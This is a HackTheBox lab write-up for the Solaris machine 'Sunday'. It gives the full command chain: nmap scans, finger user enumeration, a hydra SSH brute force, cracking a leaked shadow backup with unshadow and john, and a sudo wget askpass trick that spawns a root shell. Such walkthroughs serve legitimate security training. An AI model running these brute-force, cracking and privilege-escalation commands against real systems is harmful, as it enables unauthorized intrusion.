Overview
Sunday is an easy HackTheBox Solaris machine that leans on legacy services rarely seen on modern networks. The finger service, still enabled, enumerates valid usernames with terminal access, and a short password list is enough to brute force one over SSH. From there, a backup of /etc/shadow left in a readable location leaks a second user’s password hash, cracked offline and combined with /etc/passwd using unshadow. Root is a straightforward sudo misconfiguration around wget, exploited via a documented GTFOBins technique.
Attack Chain
- Scan the target and find
finger,RPC,printer, and twoHTTP-like ports, including a non-standardSSHport - Browse to the web service and land on an Oracle Solaris Dashboard login portal
- Use
finger-user-enumto enumerate valid usernames with terminal access - Brute force
SSHon the non-standard port withhydrausing a small password list - Log in over
SSHassunny - Find a reference to
/backup/shadow.backupinsunny’s.bash_history - Combine the leaked shadow entry with the corresponding
/etc/passwdline usingunshadow - Crack the resulting hash offline with
john - Log in over
SSHassammywith the cracked password - Read the user flag
- Find a
sudorule allowing/usr/bin/wgetto run as root - Use the documented
GTFOBinstechnique forwgetto spawn a root shell - Read the root flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan.
export IP=10.129.25.157; export NAME=SUNDAY; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
The open TCP ports are:
79,111,515,6787,22022
We export the discovered ports and run a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

Web Enumeration
Port 6787
We try connecting over HTTP and get a bad request error.

Switching to HTTPS, we land on a login portal for the Oracle Solaris Dashboard.

Finger Enumeration
Enumerating Users
We use pentestmonkey’s finger-user-enum Perl script.
perl ~/Tools/finger-user-enum/finger-user-enum.pl -U /usr/share/wordlists/seclists/Usernames/Names/names.txt -t $IP | tee scans/finger_userenum_names.txt
We’re looking for users with terminal (SSH) access. We find two: sammy and sunny.

We save the users to a file.

Foothold
Brute Forcing SSH
We use hydra to brute force with a smaller password list first, xato-net-10-million-passwords-10000.txt, before falling back to something longer.
hydra -L creds/users.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt -f $IP ssh -s 22022
We find SSH credentials.

sunny:sunday
We have an SSH session as sunny.

Lateral Movement
Finding the Shadow Backup
We look at .bash_history and see a reference to /backup/shadow.backup.

We view the file’s contents and copy sammy’s line to a file on our attacking machine.

The saved file:

We view /etc/passwd and copy sammy’s line too.

The saved file:

Cracking the Password
We use unshadow to combine both files into a crackable hash format.
unshadow sammy.etcpasswd sammy.shadow > unshadow_sammy.hash
We crack it with john.
john --wordlist=/usr/share/wordlists/rockyou.txt unshadow_sammy.hash
We have a password. From our finger-user-enum results, we know sammy also has SSH access.

sammy:cooldude!
We have an SSH session as sammy.

We read the user flag.

Privilege Escalation
Exploiting Sudo Wget
We check our privileges with sudo -l and find we can run /usr/bin/wget as sudo.

GTFOBins documents a sudo exploit for wget:
https://gtfobins.github.io/gtfobins/wget/#sudo

We replicate the steps, using /bin/bash instead of /bin/sh and the full sudo path:
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/bash\n/bin/bash 1>&0' >$TF
sudo /usr/bin/wget --use-askpass=$TF 0
We have a shell as root.

We read the root flag.

Key Takeaways
Sunday shows that legacy services carry real risk long after most administrators have forgotten they exist, the finger protocol did nothing more than answer honestly about which accounts had shell access, but that alone shrank a brute-force target list from “every possible username” to two known-good ones. A shadow file backup left in a user-readable location is one of the most direct credential leaks possible on any Unix-like system, since it hands over the exact material offline password crackers are built to attack. Root, once again, came down to a sudo rule for a binary with unintended functionality, wget’s support for an external “askpass” helper program was never meant to be a privilege escalation primitive, but GTFOBins turns almost any feature-rich CLI tool into one under sudo.